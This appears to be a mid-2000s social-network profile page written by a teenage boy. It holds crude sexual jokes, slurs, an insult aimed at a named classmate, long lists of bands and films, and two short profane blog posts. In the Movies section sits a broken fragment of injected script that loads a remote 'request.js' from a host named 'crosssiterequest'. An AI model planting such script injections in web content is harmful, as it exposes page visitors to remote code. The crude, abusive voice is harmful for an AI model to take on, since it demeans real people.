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About Me

My name is dan...Bitch status Santalla im cuban and love to eat... BIG COCK uh i do nothing but think about my blonde bombshell girl friend RENEE (she's pretty bangin' )...i'm mad banging in the sack...With Black Men..currently i attend mths(lame). im a senior. citizen... I look like im fucking 40 fcukin yay!. i'm sick of getting ripped of these philipino hookers. id wonder what would happen if i actually never got ripped off, or anything else torn away form me in my life... (like my testicles) i drive a 2007 mustang and its for sale... I'll sell it for some Road Dome...im like 5 foot ten..spartan status..and i play football, wrestling(mud) and track . i dont like white chocolate .. unless its the name of a male stripper and my favorite movie is beerfest (not really more like black door sluts 9)..the end..see ya! Oh yeah ..
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My Interests

Joy Of being out of my house, my friends, eating sleeping...I love Renee and she loves me too ;) Your Friday crew.

No life, as usual.
My friend Ricky's mohawk. (I spiked it HAHA!)My shoes will eat you.Where's your wallet?Fat kid in heaven.The old Days ..Stoner?

I'd like to meet:

Anyone who cool as hell and is not a total fuck head ( like Anrew Kim)...The creator of teletubbies, your mother, the muffin man, Willy Wonka, Edward ScissorHands, mudvayne

Music:

3 days grace, 311, A Perfect Circle,Adema,ACDC,Alien Ant Farm, 3 Doors Down, 36 Crazyfists, 40 Below Summer, 50 Cent, AFI, Agnostic Front, The Agony Scene,Alice Cooper Anthrax All That Remains Amorphis Andrew W.K. Aphex Twins Arch Enemy As I lay Dying Atreyu Avenged Sevenfold Black Sabbath Bleeing Through Blink 182 Bon Jovi Breaking Benjamin, Children Of Bodom, Chimaira, CKY, Coal Chamber, Cold, Cradle of Filth, Creed, Crossfade, Cynder, Cypress Hill, Damageplan, Dark Tranquility, The Darkness, Deadstar Assembly, Decapitated, Deftones, DevilDriver, Dimmu Borgir, Disturbed, Dope, Dope Stars INC., Drowning Pool, Dry Kill Logic, Eighteen Visions, Evanescance, Expansion Union, Faithless, Fear Factory, Firewerks, Franz Ferdinand, From Autumn To Ashes, Genitorture, God Forbid, Godsmack, Good Charlotte, Green Day, Guns N' Roses, Hatebreed, Hells Kitchen Show, HIM, Hoobastank, Ill Nino, In Flames, Jet, Jimmy Eat World, Killswitch Engage, Kittie, Korn, Lacuna Coil, Lamb of God, Led Zeppelin, Limp Bizkit, Linkin Park, Lit, Machinehead, Marilyn Manson, Meshuggah, Metallica, Modest Mouse, Mudvayne, Murderdolls, Mushroomhead, New Order, No Doubt, Norther, Orgy, Otep, Ozzy Osbourne, Pantera, Papa Roach, Powerman 5000, Prodigy, Queens Of the Stone Age, Rage Against The Machine, Rammstein, Rancid, Rob Zombie, Satyricon, Scars Of Life, Seether, Shadows Fall, SIN, Skindred, Slayer, Slipknot, Soil, Soilwork, Soulfly, Spineshank, Spongebob Squarepants, Static- X, Stone Sour, Sum 41, System of Down, Tenacious D, Thornley, Tool, Trapt, Trivium, Twisted Method, Velvet Revolver, White Stripes Muse Mnemic LullacryRasputina Scarling. The Sex Pistols Six Feet Under Tiger Army Witchery Nine Inch Nails NunSlaughter Obituary Operation Ivy Jack Off Jill The Devotchkas The Distillers Dying Fetus Flogging Molly Dope Fatboy Slim Chemical Brothers Cocteau Twins Moby Delta 9 Nine Inch Nails

Movies:

Big Daddy, Nightmare Before Christmas, Corpse Bride, Waterboy, Longest Yard, 8 Mile, The Butterfly Effect, Billy Madison, Happy Gilmore, National Lampoon's Van Wilder, American Pie 1 and 2, American Wedding, EuroTrip, Grind, The Mask, Freddy And Jason Movies, The Chronicles Of Riddick, Pitch Black, South Park Bigger Longer and Uncut, XXX, Spiderman 1 and 2, Xmen 1 and 2, Anchorman, 40 year old Virgin, SLC punk, Jay and Silent Bob movies, Beavis And Butthead Do America, Cky, Jackass, The Fog, Matrix 1 2 and 3, Blade 1 2 and 3, Gladiator, Troy, Dracula 2000, Interview with a Vampire, Underworld, and Sin City..... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..

Television:

Family guy, Futurama, Robot Chicken, Dragonball Z, Naruto, Full Metal Alchemist, Cowboy Bebop, ATHF, (Ed , Edd, And Eddy), Uranium, Viva La Bam, Smallville, CSI, HeadBanger's Ball, Inyuasha, and Pimp My Ride.

Books:

I don't know how to to read....what i mean by this i mean i dont like to read, because i'd rather spend my time doing something useful...i only read when i need to...which is rare...but if you nerds think i'm a dumbass for saying reading is dumb...kiss my ass

Heroes:

All the Marvel Characters, Jack Daniels, Trojan Man, ...and yeah.
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I quit. im frikkin done.

i quit guitar. plainly bc i suck and will never get to start a band. this sucks. it does. godamnit. i dont know i felt like i gave up today....i gave my guitar to my sister. so i guess that means my f...
Posted by HOMO on Mon, 17 Oct 2005 06:48:00 PST

ohh shit!!

AMANDA told me i was a FREAK TODAY. I feel LIKE a million dollars. what a bitch. i also named my ass snuffaluffagus my penis is named edward maximus maradavon. and i love lettuce. goo bye ladies ...
Posted by HOMO on Mon, 10 Oct 2005 09:33:00 PST